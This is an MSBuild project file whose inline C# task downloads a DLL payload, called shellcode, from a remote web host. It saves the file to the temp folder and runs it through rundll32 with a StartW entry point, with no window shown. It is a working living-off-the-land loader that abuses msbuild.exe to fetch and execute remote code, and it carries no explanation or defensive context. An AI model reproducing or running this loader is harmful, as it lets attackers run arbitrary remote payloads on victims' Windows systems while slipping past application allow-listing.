<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
    <MSBuildTest />
  </Target>
  <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using System.Diagnostics;
          using System.IO;
          using System.Net;
          using Microsoft.Build.Utilities;

          public class MSBuildTest : Task
          {
              public override bool Execute()
              {
                  byte[] shellcode;

                  // Use newer TLS protocols
                  ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

                  using (var client = new WebClient())
                  {
                      client.BaseAddress = "https://website.com/static/";
                      shellcode = client.DownloadData("http_x64.dll");
                  }

                  // Save to temp file
                  string tempFilePath = Path.Combine(Path.GetTempPath(), "http_x64.dll");
                  File.WriteAllBytes(tempFilePath, shellcode);

                  // Execute using rundll32.exe
                  Process process = new Process
                  {
                      StartInfo = new ProcessStartInfo
                      {
                          FileName = "C:\\Windows\\System32\\rundll32.exe",
                          Arguments = "\"" + tempFilePath + "\",StartW",
                          RedirectStandardOutput = true,
                          RedirectStandardError = true,
                          UseShellExecute = false,
                          CreateNoWindow = true
                      }
                  };

                  process.Start();
                  process.WaitForExit();

                  Console.WriteLine(process.StandardOutput.ReadToEnd());
                  Console.WriteLine(process.StandardError.ReadToEnd());

                  return process.ExitCode == 0;
              }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>